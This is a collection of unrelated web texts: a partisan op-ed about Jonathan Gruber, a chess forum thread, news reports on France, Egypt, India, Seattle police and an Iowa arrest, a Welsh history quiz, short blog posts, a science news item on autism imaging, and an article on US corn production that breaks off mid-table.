-Jonathan Gruber, made famous by his offensively blatant revelations of the deceit behind the construction and passage of the Obamacare law, will testify before Chairman Darrell Issa (R-CA) and the House Oversight Committee tomorrow morning. I  FILE – In this May 12, 2009, file photo Jonathan Gruber, professor of Economics at the Massachusetts Institute of Technology, participates in a Capitol Hill hearing on the overhaul of the heath care system in Washington.  expect the testimony and the follow-up coverage of the hearing to be anti-climatic. Gruber was caught on-camera speaking off the cuff – multiple times – but you can expect he will be prepared, scripted and lawyered-up tomorrow. So unless you just like watching someone who does deserve some harsh scrutiny squirm, there won’t be much to see.  In a way, Gruber did the Republican cause a favor. He bluntly confirmed what we already knew: That clever Hill staffers and lawyers purposely contrived Obamacare as an opaque thicket in order to disguise many of the law’s fees, taxes, penalties and its general government overreach. After all, remember that then-Speaker Nancy Pelosi (D-CA) famously told us we had to wait until the law passed to find out what was in it.  Well, in that regard, she is right. Obamacare does appear to be the gift that keeps on giving. We just keep finding out more and more about the law’s harsh consequences. Most recently, we have seen how Obamacare disincentivizes the practice of medicine and how this affects doctors in America. An AP story included the fact that already, “Nearly 1 in 5 Americans lives in a region designated as having a shortage of primary care physicians, and the number of doctors entering the field isn’t expected to keep pace with demand.” For those who want to claim Obamacare is working, we’ll have to see how our healthcare system will handle a steadily increasing number of patients while the number of doctors steadily decreases.  It’s too bad the Gruber videos weren’t revealed before the 2014 elections, because they perfectly crystallize the entire Democratic 2014 campaign. That is, don’t admit what you really believe or what you will really do in government. Say things that purposely deceive or at least misdirect the voters from your true intentions. Anyway, Gruber isn’t just a bad episode. He is a living example of what the Democratic Party has become. In its simplest form, Democrats want to talk to the right and then govern to the left. They hide behind platitudes and dishonest attacks on Republicans, but this just doesn’t work, as illustrated by the Democrats’ last gasp in Louisiana this past Saturday, when Senator Mary Landrieu lost her Senate seat to Bill Cassidy, 43 percent to 57 percent.  Despite what is said tomorrow in the House Oversight Committee hearing, perhaps Gruber has already made a lasting contribution to the political vocabulary. If nothing else, he has helped spawn a new verb. As one gentleman wrote in a letter to the editor in The Leaf-Chronicle, “’gruberize’ will now refer to ‘the art of slicking buyers by using catch phrases and weasel wordsmithing.’”  Follow Ed on Twitter: @EdRogersDC
-< Earlier Kibitzing · PAGE 4 OF 4 · Later Kibitzing>  Mar-28-12 DrGridlock :  suggests a computer analysis that finds new moves in this position. John Watson analyzed this position in 1998 in his book, "Secrets of Modern Chess Strategy." Watson gives 27 Rf3 an "!" with the analysis: "Incredible! This rook is a monster! Now 28 Bf4 is threatened, and 27 ... o-o-o; 28 Bf4 Qxd5; 29 Rd3 Qh1; 30 Kc2! Qxh1; 31 Bg4+ Kb8; 32 Rxd6 Rxd6; 33 Qxd6 followed by 34 Qxf6 wins for White. So Black tries the other capture." Watson overlooked Black's continuation at move 28 ... Qxh5. Komodo scores White's options at move 27 (depth = 21) as:  click for larger view Analysis by Komodo32 3 32bit:  1. ± (1.01): 27.Rf2 Rc8 28.Bf4 Qxd5 29.Qxd5 Nxd5 30.Bd2 Bg7 31.Bf3 Rc5 32.Rg2 Kf8 33.Rg5 Nf6 34.Rxc5 dxc5 35.Kc2 b6 36.Rh1 Bh6 37.Be1 Bf4 38.Bh4 Rh6 39.Bf2 Kg7 40.Rg1+ Kh7 2. ² (0.62): 27.Ra4 Qf5 28.Qf4 Qxd5+ 29.Kc2 Be5 30.Qd2 Qe6 31.Bg5 Qf5+ 32.Kb3 Qe6+ 33.Ka3 d5 34.h6 Qd6+ 35.Kb3 0-0-0 36.Bf3 Kb8 37.Re1 f6 38.Be3 f5 39.Kc2 Qc6 40.Rb4 Rhg8 3. ² (0.59): 27.Rf1 Rxh6 28.Qxh6 Nf5 29.Rxf5 Qxf5 30.Qe3+ Kf8 31.Qf3 Qxf3 32.Bxf3 Re8 33.Kc2 Kg7 34.Bg4 Bg5 35.Rf1 Re7 36.Kb3 Kh6 37.Bd1 b5 38.Bg4 a5 39.Bd1 f6 40.Bg4 a4+ 41.Kc2 4. ² (0.31): 27.Rf3 0-0-0 28.Bf4 Qxh5 29.Kc2 Qxd5 30.Qxd5 Nxd5 31.Bg3 Be5 32.Bc4 Nc7 33.Bf2 d5 34.Bd3 d4 35.Rxf7 dxc3 36.bxc3 Nb5 37.Bxb5 axb5 38.Re1 Bd6 39.Bb6 Rdf8 40.Ref1 Rh2+ 41.Kb3 Rxf7 42.Rxf7 Chess is difficult to play over the board, and even grandmaster and master analyses can overlook positional features a computer finds. The key positional feature of move 27 is that the rook belongs on f2 instead of f3, since on f3 it blocks White's bishop's protection of the pawn on h5. It's surprising that neither Hort, nor Karpov, nor Watson found this for over 30 years.  Mar-28-12 SimonWebbsTiger : @   One guess who did mention it!  27. Rf3?   Garry Kasparov "On My Great Predecessors" Part V.  Garry quotes Mark Dvoretsky's 27...0-0-0!, btw.  Aug-19-14 Chessman1504 : I suppose this game goes to show that the stylistic differences between the world champions are greatly exaggerated. Any great player can do what the board calls for. This is more convincing proof.  Nov-26-14  Check It Out : Bounced here from the Karpov discussion on the Carlsen-Anand II rematch forum. Good stuff!  Mar-10-15 get Reti : In Karpov's book "Anatoly Karpov's Best Games", it says that 8.f4, followed by 9. Be3 was played instead of the other way around, as it is in this database.  Mar-10-15 Retireborn : I believe that 8.Be3 and 9.f4 is the authentic move order of this game. Karpov was intending to answer 27...0-0-0 with 28.Rd3 which keeps the extra pawn, but Houdini indicates Black has good compensation after 28...R(either)g8. 27.Rf2! is stronger as then if 27...0-0-0 28.Bf4  Apr-08-15 Pedro Fernandez : An interesting move had been 14.Qg2!?, because of its aggressiveness, IMO. Notice that already black casting is not viable, but also queen castling is quite dangerous. Hort was sentenced at this early time.  Apr-08-15 Pedro Fernandez : In 24... Hort didn't play the sac of "calidad" 24...Rxh6 as the h-pawn is really dangerous. I bet Hort thought in that possibility since the couple of white bishops are so powerful.  Apr-08-15 Pedro Fernandez : To be honest, following the game, I didn't know Hort did it on move 28...Rxh6.  Jan-03-16  morfishine : Thats just great, do we really need yet another excruciating play-on-word using 'Hort'? Enough already Really   Sorry, yours sucked too *****  Jan-03-16  thegoodanarchist : I love these games played before the invention of castling.  Jan-03-16 Sularus :  yep, yours is better.  Jan-03-16  mike1 : Hort played so many insane (and winning) games himself.... Would be nice to see some of these as GOTD as well. Vlastimil deserves it!  Jan-03-16  Penguincw : When I saw this pun, I was wondering, is there a double meaning to this pun? The first meaning should be pretty obvious, but what about another meaning? Like, was someone physically, emotionally or financially hurt from this game or relating to it? Did this game hurt someone's chances from achieving success in the tournament? Is there a 2nd meaning?  Jan-03-16 schnarre : ...*chuckles at the day's pun*  ...White looks to stand well here.  Jan-03-16  thegoodanarchist : < ughaibu: A game for those who think Karpov was well behind Fischer in 1972. > This is the first post for this game, from October 2003. Allow me to point out that in early 1970s Hort was no Spassky. Nor was he close to Petrosian, Larsen and maybe even Taimanov. But Karpov did play creatively here.  Jan-03-16  thegoodanarchist :  Here is Hort winning a GOTD:  A P Law vs Hort, 1977  Jan-04-16  piltdown man :  You're a hard man to please. I thought mine wasn't bad, considering the context. At least  liked it.  Jan-04-16  kevin86 : Karpov takes advantage of Hort's greed.  Sep-20-16 gars : Why not play 1)Qd5 instead of 16)ed5, as Karpov did? I see no reason for Karpov's choice, unless getting a Queen Wing majority.  Sep-21-16 RookFile : Qxd5 is a good move. Personally, I would play it as my move. But exd5 has its points too. It transforms an isolated e pawn into a more respectable one on d5, reduces the number of white pawn islands from 3 to 2, and opens the d3/h7 diagonal potentially for the e2 bishop.  Sep-21-16 gars : Thank you, Rookfile! In fact 16) Qxd5 is not mentioned in any of the four books I own, namely a) "How Karpov Wins", by Edgard Mednis, which I am presently studying, b) "Karpov's collected games", by David Levy,  c) "The Games of Anatoly Karpov", by Kevin J. O'Connell and Jimmy Adams and d) "Karpov: un genio de nuestro tiempo", by M.Studnetzky and B. Wexler, so I thought it could not be a good move, but at the same time I could not see anything wrong with it. I find this game very difficult, full of subtle moves and your comment gave me the push I need to go back to it again and again. Thanks a lot!  Dec-05-18 oceline2 : But it is mentioned in "Anatoly Karpov's Best Games". I remember he mentioned the "rule" for isolated pawns (exd5 blocks the d6 pawn) and also because it frees his bishop, specially now that the opposite is gone.  Jump to page # (enter # from 1 to 4)  search thread:
-Hervé Morin, the defence minister, broke ranks to join an army of associations, the main judges' union, civil liberty groups, unionists and opposition figures all opposed to Edvige - the acronym for the computer system.  Edvige, also a woman's Christian name, was created by decree in July to collect information on anyone aged 13 or above who is "likely to breach public order".  But it can also list anyone in politics or trade unions or with a significant role in business, the media, entertainment or social or religious institutions.  "Surely this is a curious mix-up of categories," said Mr Morin, a centrist party MP who joined President Nicolas Sarkozy's "rainbow" cabinet last year.  "Is it useful to gather data such as telephone numbers, sexual orientation, and details of taxes and assets and the like without knowing exactly what the point is?"  Mr Morin was firmly rebuked by the prime minister François Fillon.  "I don't think it is necessary to create suspicion when none exists and I had the occasion to tell him so," he said.  Michèle Alliot-Marie, the Interior Minister, who is tasked with pushing through Mr Sarkozy's tough law-and-order agenda that helped him win last year's presidential election, was equally vociferous.  "It is odd that Mr Morin has not managed to find my telephone number. I would have set his mind at rest," she said.  Edvige, according to the government, is simply a spruced-up version of a file system already used by the Renseignements Généraux (RG), a police intelligence service which civil liberties groups claim has files on 20 million people.  The RG has spied on French citizens since it was founded by Napoleon Bonaparte's police chief, Joseph Fouché and was merged this year with the DST, France's MI5 responsible for counter-espionage and anti-terrorism.  Edvige is to be the tool of the new merged agency called the DCRI (Central Directorate of Internal Intelligence).  The campaign to dump Edvige - dubbed "Sarkozy's Big Sister" by the French press - began after France's data privacy watchdog, the National Commission on Information Technology and Freedom (CNIL), obliged the government to go public on the system.  Since then, the anti-Edvige revolt has gathered pace. More than 120,000 people have signed a petition to have it dropped and more than dozen lawsuits have been filed against it at the Conseil d'Etat, France's highest civil court.  Unionists and left-wing groups were the first to complain.  Laurence Parisot, the head of the Medef employer's union, has demanded an "explanation" from the interior ministry while Michel Pezet, a former member of the CNIL agency, described the system as an "electronic Bastille".  "There is nothing to be worried about," countered Brice Hortefeux, minister for immigration and national identity.  "Today there's a debate. Complaints have been filed, let them be examined."
-Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email  Throughout Welsh History Month, experts from Cadw and partners including museums, archaeological trusts and the Heritage Lottery Fund will bring stories from Wales’s rich and diverse heritage to life via a series of articles and never-before-seen images.  Deputy Minister for Culture, Sport and Tourism, Ken Skates, said: “Welsh History Month is an annual celebration of Welsh heritage and this visual depiction of our history is a great way to showcase the dramatic stories from our past.  “Our past is crucial in forming a sense of identity, as a nation, as individuals and as communities and we are always looking for new ways to engage people with their heritage. So I urge you to follow the series in the paper and online and get out and visit Wales’s unique historic sites this autumn.”  So have you been paying attention? Take our quiz below and to read the articles linked to each of the quiz take a look at the questions, which you can find after the quiz ...  Question - 1 of 24 Score - 0 of 0 Polly Groom’s Welsh History Month essay explored the ancient forests of the Welsh coast that were uncovered by storms earlier this year. But when does she note that the first inhabitants of Wales – the Neanderthals – arrived? (Image: Nigel Nayling) 100,000 years ago  230,000 years ago  1,200,000 years ago Next question Thanks for taking part in this quiz You scored Replay quiz  How did you do?  0-6: Hopeless historian  7-12: Amateur historian  13-18: Historian in the making  19-24: Welsh history buff  And here are the questions and linked the essays to go with the answers:  Q1: Polly Groom’s Welsh History Month essay explored the ancient forests of the Welsh coast that were uncovered by storms earlier this year. But when does she note that the first inhabitants of Wales – the Neanderthals – arrived?  Q2: Ffion Reynold's essay is all about Wales’s ancient passage tombs, including Bryn Celli Ddu on Anglesey. But on which day of the year does Cadw partner up with the Anglesey Druid Order to host a special dawn celebration at the Neolithic site?  Q3: Cadw’s recent CGI rebuild of Segontium Roman Fort in Caernarfon was the subject of Tristian Jones’ Welsh History Month essay . How many infantrymen could the fort hold back in its AD77 heyday?  Q4: Ruth Taylor-Davies’ essay discussed the new interpretative gates that have been installed at Caerphilly Castle. But which Welsh noble do they depict?  Q5: Anne Rainsbury explores how watercolour painter JMW Turner was inspired by his visits to Wales in her essay , but which Cadw site did the artist famously paint in 1794?  Q6: Lucy O’Donnell’s essay talked about the 20 Cadw sites located along the Wales Coast Path. But how long is the whole trail?  Q7: The once forgotten Dolforwyn Castle was the topic of former Cadw director Marilyn Lewis’ Welsh History Month essay . Which university undertook a joint venture with Cadw to excavate the site in the 80s and 90s?  Q8: Fine art conservator Jane Rutherford wrote her Welsh History Month essay on a long-lost painting uncovered at St Cadoc’s Church in the Vale of Glamorgan. What did the painting depict?  Q9: Rik Turner’s essay discusses how St Winefride’s Well Chapel in Flintshire was built over the great spring where, according to legend, St Winefride was executed. But how did she meet her grisly end?  Q10: Glashirfryn is the 450-year old mansion house being restored by Cadw, as discussed in Bill Britnell’s essay . But what was the house once described as in the biography of resident John Jones and his family?  Q11: Richard Sugget’s essay investigated how Bishop William Morgan’s home Ty Mawr Wybrnant has been dated to 1564 using the latest scientific techniques. But what is Bishop Morgan most famous for?  Q12: Cadw’s Kate Roberts wrote her essay about Parys Mountain, Anglesey. The impressive landscape was once the world’s largest mine of what substance?  Q13: Judith Alfrey and Laurence Smith’s essay explored the recent regeneration projects around Caernarfon waterfront. One of the gates in the iconic castle’s town walls is called Porth yr Aur, but what does this translate to?  Q14: Judith Alfrey discussed how Cadw is funding a new life for Welsh chapels in her essay , but what modern function is Burnett’s Hill Chapel in Pembrokeshire now used for?  Q15: Kate Roberts’ second Welsh History Month essay explores Gwynedd’s slate industry. But which British monarch was a reportedly a keen tourist of Penrhyn Quarry?  Q16: Cadw director Kate Clark talked of her experiences during an archaeological dig at the Victorian Leighton Farm, Powys. But what distinctive shape are the piggeries that can be seen from the aerial photograph?  Q17: Polly Groom’s second Welsh History Month essay says that Cadw works with partners to investigate and protect a number of shipwrecks around Welsh shores. The Royal Charter sank off the coast of Anglesey in 1859, but what valuable cargo did it have on board?  Q18: A third Kate Roberts Welsh History Month essay discusses how the mighty Caernarfon Castle in Gwynedd is one of Wales’ proud World Heritage Sites. Which Victorian visionary campaigned to save the site when it fell into disrepair in the late 1800s?  Q19: What grade are the National Trust’s beautiful Dyffryn Gardens in the Vale of Glamorgan, as reported by Jen Park in her essay ?  Q20: Cadw has been running education project ‘Looking over Dylan’s shoulder’ for the Dylan Thomas centenary year. But which of Cadw’s castles does Dylan Iorwerth reveal was Dylan’s inspiration in his essay ?  Q21: How many Welsh servicemen were killed during WW1, according to Diane William’s Welsh History Month essay ?  Q22: Jon Berry’s essay focuses on a number of WW1 trenches that lie along the A55 near Bodelwyddan Park in Denbighshire. What were these trenches used for?  Q23: Ceri Thompson’s poignant Welsh History Month essay shared volunteer accounts from the Cambrian Disaster. 2015 will commemorate which anniversary of this disaster?  Q24: The final essay from Welsh History Month came from Judith Alfrey, who looked at the range of buildings Cadw has listed since its creation, which was in which year?  For more information about Cadw’s work, objectives and priorities and great ways to explore our heritage, visit www.cadw.wales.gov.uk/historicenvironment.
-CAIRO — With bulldozers and dynamite, the Egyptian Army on Wednesday began demolishing hundreds of houses, displacing thousands of people, along the border with Gaza in a panicked effort to establish a buffer zone that officials hope will stop the influx of militants and weapons across the frontier.  The demolitions, cutting through crowded neighborhoods in the border town of Rafah, began with orders to evacuate on Tuesday and were part of a sweeping security response by the government of President Abdel Fattah el-Sisi to months of deadly militant attacks on Egyptian security personnel in the Sinai Peninsula, including the massacre of at least 31 soldiers last Friday.  That assault was the deadliest on the Egyptian military in years, and a blow to the government, which has claimed to be winning the battle against insurgents. The resort to a harsh counterinsurgency tactic — destroying as many as 800 houses and displacing up to 10,000 people to eliminate “terrorist hotbeds,” as Mr. Sisi’s spokesman put it — highlighted the difficulties the military has faced in breaking the militants as well as the anger that operations like Wednesday’s inevitably arouse.  “Our house in Rafah is more than 60 years old,” Hammam Alagha wrote on Twitter on Tuesday, detailing his family’s eviction in a series of widely shared posts. After an army officer told the family to evacuate — and Mr. Alagha said he refused — the officer “said tomorrow we will bomb it with everything in it.”
-I knew the package had arrived at my parents' house and I was eager to come pick it up! The minute I stepped into the house I made a beeline to where my Dad keeps the mail. Sure enough a box with my name on it was waiting for me!  My Secret Santa really did his homework!  I got: A lovely note describing the gifts, referencing one of my favourite shows: Doctor Who (Daleks, Cybermen and Weeping Angels oh my!)  Some tasty treats including Lindth chocolate (drool...)  A toy for my puppy! Which he will absolutely adore!  And this is the kicker: The 11th Doctor's screwdriver/torch! This is great because I have the 10th's screwdriver so this will be added to my DW collection! I'm going on a trip tonight and I wonder if I could bring it with me in my carry-on bag, although not sure what the TSA would say... "But sir, it's a sonic screwdriver! You know timey wimey and all that stuff!"  Thanks so much Dan! Don't know your Reddit name but congrats on a stalking job well done!
-On the latest episode of SBS's 'K-Pop Star', the second round kicked off with the remaining contestants showing everything they've got to avoid elimination. During the audition, a 15-year-old girl named Park Ji Min stepped onto the stage to perform a cover of�Adele's "Rolling in the Deep". From the get-go, Park Ji Min captivated her audience with a confidence that made it hard to believe she was only 15. Her voice fluctuated charmingly, keeping true to Adele's style yet delivering a flair all her own. At one point, BoA was so touched by Park Ji Min's singing that she shouted with sheer excitement during the performance. After the performance, J.Y. Park honestly confessed, "If I had a big bag beside me, I think I would kidnap you and bring you to my company."� Yang Hyun Suk also revealed his astonishment as he breathed, "You're only 15.... I think you're crazy". Check out Park Ji Min's jaw dropping performance below! Source + Photos: Sports Seoul
-Researchers have developed a new method to map and track the function of brain circuits affected by autism spectrum disorder (ASD) in boys using brain imaging. The technique will provide clinicians and therapists with a physical measure of the progress patients are making with behavioral and/or drug treatments -- a tool that has been elusive in autism treatment until this point.  For the first time, doctors would be able to quantify how that brain circuit is working in their patients and assess the effectiveness of an intervention. The research is outlined in a paper, "Quantified Social Perception Circuit Activity as a Neurobiological Marker of Autism Spectrum Disorder," published in JAMA Psychiatry. The paper focuses on the use of biomarkers, measurable indicators of a biological condition, to measure the function of the social perception circuit of the brain.  "This is significant because biomarkers give us a 'why' for understanding autism in boys that we haven't had before," said Kevin Pelphrey, a co-author of the paper, who is the Carbonell Family Professor in Autism and Neurodevelopmental Disorders and director of the Autism and Neurodevelopmental Disorders Institute at the George Washington University. "We can now use functional biomarkers to identify what treatments will be effective for individual cases and measure progress."  Researchers analyzed a series of 164 images from each of 114 individuals and discovered the brain scans of the social perception circuits only indicated ASD in boys. This new research has the potential to improve treatment for ASD by measuring changes in the social perception brain circuit in response to different interventions. The researchers found the brain scan data can be an effective indicator of function of the circuit in younger children and older patients alike.  The research is particularly relevant for ASD patients who are difficult to diagnose and treat by providing a more definitive diagnosis and in developing a treatment program when it is not clear if behavioral, drug or a combination of the treatments will be most effective.  "The behavioral symptoms of ASD are so complex and varied it is difficult to determine whether a new treatment is effective, especially within a realistic time frame," said Malin Björnsdotter, assistant professor at the University of Gothenburg and lead author of the paper. "Brain function markers may provide the specific and objective measures required to bridge this gap."  A Path to Widespread use of Brain Scans?  In addition to helping to identify the most effective ASD treatment for an individual, this research provides evidence that brain imaging is an important intervention tool. Currently, functional MRI, the type of brain scan used in this study, is not a standard part of ASD treatment, as there is not enough evidence linking the scan to effective treatments. The Autism and Neurodevelopmental Disorders Institute at GW aims to make significant contributions toward the establishment of evidence-based therapies for ASD.  "This kind of imaging can help us answer the question, 'On day one of treatment, will this child benefit from a 16-week behavioral intervention?'" Dr. Pelphrey said. "Answering that question will help parents save time and money on diagnosis and treatments."  Following the study, Dr. Pelphrey and his colleagues will test their findings at the next level: studying a larger pool of people with autism and other neurological disorders in collaboration with Children's National Medical Center to see if the scan can successfully distinguish ASD from other disorders and track treatment progress.  The authors emphasized that this research is still in the earliest days, pointing out that doctors' offices and most hospitals do not have the specialized imaging equipment necessary to carry out the brain scans used by the team involved in this study.  "To really help patients we need to develop inexpensive, easy-to-use techniques that can be applied in any group, including infants and individuals with severe behavioral problems," said Dr. Björnsdotter. "This study is a first step toward that goal."  While this method currently only works for boys with autism, the researchers are leading a large-scale, nationwide study of girls with autism to identify equivalent techniques that will work for them. The group expects to have the initial results from that study later this year.
-Seen here looking suspiciously absolutely nothing like my basement, indoor weed growing ops like this one are estimated to be responsible for 1% of all US energy consumption -- around $5-billion a year. Which, for the record, I would never pay for an ounce. Not even one grown in Eden from Adam's seed.  While 1% may not seem like a lot, the report claims that smoking one single Cannabis joint is equivalent to running a 100-watt light bulb for 17 hours. That Cannabis cigarette carries two pounds of CO2 emissions.  According to the report: Each four-by-four-foot production module doubles the electricity use of an average U.S. home and triples that of an average California home. The added electricity use is equivalent to running about 30 refrigerators. Processed Cannabis results in 3000-times its weight in emissions. For off-grid production, it requires 70 gallons of diesel fuel to produce one indoor Cannabis plant, or 140 gallons with smaller, less-efficient gasoline generators.  I didn't actually bother reading any of that because I'm high and thinking about mother nature depresses the shit out of me, so I'm just going to assume it said water bongs are the way to go. *blublububublubulubulub* Science!  Marijuana Carbon Footprint: Indoor Pot Production Uses 1 Percent Of U.S. Electricity, Study Says [huffingtonpost]  Thanks to DrDank, who doesn't listen to studies, only jam-bands.
-The screening was stalled midway  “It is not a battle between the Right and the Left, it is a battle between people living in the country who want to break the country, and the people who love the country,” said Vivek Agnihotri, the director of Buddha In A Traffic Jam, addressing students at Jadavpur University.  The director, who was reportedly attacked on Friday on his way to the University, made his address amidst chants of protestors.  The director also asked, when the country had given birth to many great political minds, “Why do we need to borrow Mao from outside the country?”  The film’s screening on Friday was reportedly stalled midway due to protests by students of the university, who are members of Left-leaning student organizations.  “Buddha in a Traffic Jam” is a political satire at the expense of radical Leftists and Maoists in the country.
-Not everything that happens in a neighborhood will automatically pop up in 140 characters or fewer. Sex crimes were excluded, on the theory that Web attention could discourage people from reporting a rape or sexual assault, and domestic violence cases will remain off the Twitter list as well for similar reasons. Drawing attention to a private matter and alerting neighbors, department officials said, could make things worse for the victim.  The reports are also structured with an automatic one-hour delay, aimed at preventing people from learning about an investigation in progress and swarming over to gawk and perhaps interfere.  “This is trailblazing stuff,” said Eugene O’Donnell, a professor of police studies at John Jay College of Criminal Justice in Manhattan. “It shows a willingness I haven’t seen in large supply to really affirmatively make available, warts and all, a clear picture to people of what’s going on.”  But Professor O’Donnell, a former New York City police officer and prosecutor, said he thought there could be unintended consequences. Increased awareness of local crime, he said, could lead people to a greater feeling of vulnerability or to the conclusion that the police are not resolving the local crime problem — even if it is a problem they might not have been aware of had the beat-tweet not informed them.  Photo  The Seattle police have reasons to want to appear forthcoming. The department is in the middle of an internal overhaul as well as a court-directed settlement with federal prosecutors prompted by investigations that found a pattern of misconduct, including excessive force and ethnic and racial insensitivity. The Twitter program is one of 20 initiatives in 20 months announced this year by Mayor Mike McGinn — specifically No. 17, to “provide better information to the public.”  But will residents really want the minutiae of daily police life popping up on their smartphones or other devices? Police officials are not sure, but they say that if it lifts the veil even a bit about what they do, it could lead to more understanding of the rhythms — and sometimes the tedium — of their work.  Consider the “accident investigation” at 35th Avenue Southwest and Southwest Barton Street reported at 4:01 p.m. last Wednesday. Sounds as if it could be pretty dramatic, right? Officer Scott Luckie, a four-year veteran with the department, thought so, too. The radio dispatcher said a bicyclist and a car were involved, with possible injuries. So he responded with lights and siren, only to find a man sitting on the curb, unhurt, his bicycle undamaged, more angry than anything else, that a driver had cut him off on a corner.  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  “I was scared to death,” the bicyclist said.  He and the other responding officers milled around a bit, made sure the bike and biker were O.K., and drove away.  Advertisement Continue reading the main story  “A slow day is a good day — it means people aren’t out being stupid,” Officer Luckie said, back behind the wheel.  Critics who track social media trends say an automated community bulletin board like Seattle’s will certainly be fast and cost-effective. But a system run by computers also has the drawback of, well, being run by computers.  If a person responds to a local beat post, say, asking about an incident, or volunteering that he might have important information about a crime, the reply might well be missed. The automated posting system will not be regularly monitored, a spokesman for the department said, because there are so many beats.  The department’s main Twitter site, though, is run by real people, and feedback there about the project has ranged from the enthusiastic to the head-scratching. A resident asked: Who’s doing the posts? Robots, the department responded. Well, not really. “Technically, our computer dispatch system, but robots sounds more exciting,” the department’s reply said.  One follower of the new beats, John Eddy, said he liked the truncated computer-speak of some of the posts. “ ‘Urinating in pub’ is my favorite so far,” he wrote on his own Twitter account.  One law enforcement media expert, Capt. Mike Parker, who oversees the Los Angeles County Sheriff’s Department’s sprawling public communications system, said he thought the deeper impact of Seattle’s program could be the message it sends to other police agencies, which he said are in many cases timid or uncertain about how to use the new social media tools.  “It gives confidence to other police leaders as well that it’s O.K. to do that,” he said.  Twitter itself, meanwhile, was suspicious of the idea. The project was delayed for several weeks after Twitter closed down 18 of the Police Department’s new accounts. Lots of new Twitter addresses popping up all at once apparently raised red flags that a spammer might be setting up shop. The crime beat feeds were thus delayed... to prevent a potential crime.
-Authorities report that a Dallas Center man faces 13 charges in connection with a sex abuse investigation. The Dallas County Sheriff’s Office said Randy Johnson was arrested Wednesday in connection with a sex abuse investigation that began in December 2016. Johnson is charged with three counts of indecent contact with a child, two counts of indecent exposure, four counts of third-degree sex abuse, one count of lascivious acts with a child, two counts of assault with intent to commit sex abuse and one count of child endangerment. Johnson and his wife are pastors of the Church of the Brethren in Dallas Center and live next door to the church. “They are the nicest people ever,” neighbor Sabrina Vancleve said. “Yeah, this is a complete shock.” Vancleve lives across the street from the Church of the Brethren and said she has known Johnson for years. She said news of Johnson’s arrest was the last thing she ever expected to hear. “They're well known around here,” Vancleve. “They're the nicest people. If you need something they would help out.” Christy Stout lives across the street from the Johnson family. She said Johnson’s arrest hit close to home. “I don't know what to say to that. I really don't,” Stout said. “Yeah, I'm shocked. My daughter spent the night over there quite a few times.” Neighbors said they never saw any sign of trouble, but they are concerned for his family and for their own families. “Yeah, I won't be going over there asking for help anymore,” Vancleve said. KCCI spoke to a young man who answered the door at the Johnson house Wednesday afternoon. He did not want to answer any questions. Johnson is being held at Dallas County Jail without bond.  Authorities report that a Dallas Center man faces 13 charges in connection with a sex abuse investigation.  The Dallas County Sheriff’s Office said Randy Johnson was arrested Wednesday in connection with a sex abuse investigation that began in December 2016.  Advertisement  Johnson is charged with three counts of indecent contact with a child, two counts of indecent exposure, four counts of third-degree sex abuse, one count of lascivious acts with a child, two counts of assault with intent to commit sex abuse and one count of child endangerment.  Johnson and his wife are pastors of the Church of the Brethren in Dallas Center and live next door to the church.  “They are the nicest people ever,” neighbor Sabrina Vancleve said. “Yeah, this is a complete shock.”  Vancleve lives across the street from the Church of the Brethren and said she has known Johnson for years. She said news of Johnson’s arrest was the last thing she ever expected to hear.  “They're well known around here,” Vancleve. “They're the nicest people. If you need something they would help out.”  Christy Stout lives across the street from the Johnson family. She said Johnson’s arrest hit close to home.  “I don't know what to say to that. I really don't,” Stout said. “Yeah, I'm shocked. My daughter spent the night over there quite a few times.”  Neighbors said they never saw any sign of trouble, but they are concerned for his family and for their own families.  “Yeah, I won't be going over there asking for help anymore,” Vancleve said.  KCCI spoke to a young man who answered the door at the Johnson house Wednesday afternoon. He did not want to answer any questions.  Johnson is being held at Dallas County Jail without bond.  AlertMe
-Left: Worldwide corn production chart; Right: Iowa corn (2011).  The production of corn (Zea mays mays, also known as "maize") plays a major role in the economy of the United States. The US is the largest corn producer in the world, with 96,000,000 acres (39,000,000 ha) of land reserved for corn production. Corn growth is dominated by west/north central Iowa and east central Illinois. Approximately 13% of its annual yield is exported.[1]  History [ edit ]  Left: Male and female flowers of maize; Right: Select corn production chart for 2010, U.S. Department of Agriculture  Corn spread across North America a few thousand years ago.[2] The original corn plant known as teosinte is still grown in Mexico. Newer varieties are much larger, due to plant breeding efforts of Native Americans and scientific research. It is now the third leading grain crop in the world.[3]  According to Tribes That Slumber by Thomas Lewis and Madeline Kneberg, corn was "the staff of life to the Cherokee", who grew three types of corn. "Flour corn" had "very large, white kernels". "Six weeks corn" was a type similar to popcorn, roasted at milk stage. "Hominy corn" came in different colors of "smooth, hard kernels" which might be white, blue, red or yellow, or a mix of any of these.[4]  By the time scientific assessment of conduciveness to grow corn in the United States was undertaken by Meriwether Lewis in 1804, the immigrant settlers had already spread its growth in many parts of the country due to its suitability in varying climatic and soil conditions. Once the suitability of land in the central part of the country, the Midwestern United States, was scientifically established by Lewis and Clark, settlers moved to the area in large numbers, and started reaping large corn crops.  Over the centuries, the crop varieties underwent changes to get better yields, while farming methods were improved. As a result, the fertile belt soon came to be known as "the Corn Belt". Hybrid cropping techniques were widely practiced from the late 1880s, and the hybrid corn varieties developed with cross and re-cross breeding techniques developed by university research. This ushered a new age of agriculture. The 1% area devoted to hybrid varieties in 1934 rose to 78% in the 1940s and continued to rise thereafter. In the 1950s, Henry A. Wallace, former Vice President and former Secretary of Agriculture, and an early developer of hybrid seeds, observed that "the Corn Belt had developed into the most productive agricultural civilization the world has ever seen". This trend has continued and now the corn production level in American farms is a significant 20% higher per acre than in the rest of the world.[5]  As the growth of corn has spread to extensive production in 14 states (though it is grown to a lesser extent in all the other US states), the Corn Farmers Coalition was formed. This is a union of the National Corn Growers Association and 14 state corn associations.[6]  Production [ edit ]  A 1918 US poster promoting corn.  The total production of corn in the US for the year 2013-2014 is reported to be 13.016 billion bushels, of which the major use is for manufacture of ethanol and its co-product (Distillers' Dried Grains with Solubles), accounting for 37% (27% + 10%), or 4,845 million bushels (3,552 + 1,293). The other uses are given in the table.[7]  Uses of Corn/Maize Type Amount (Million Bushels) Percentage Ethanol 3552 27 DDGS 1293 10 Livestock Feed 4345 33 Dairy 823 6 Beef cattle 1213 9 Hogs 1004 8 Poultry 1205 9 Other animals 100 1 Exports 1450 11 Other processing* 1420 11 Residual Use 1055 8 Total 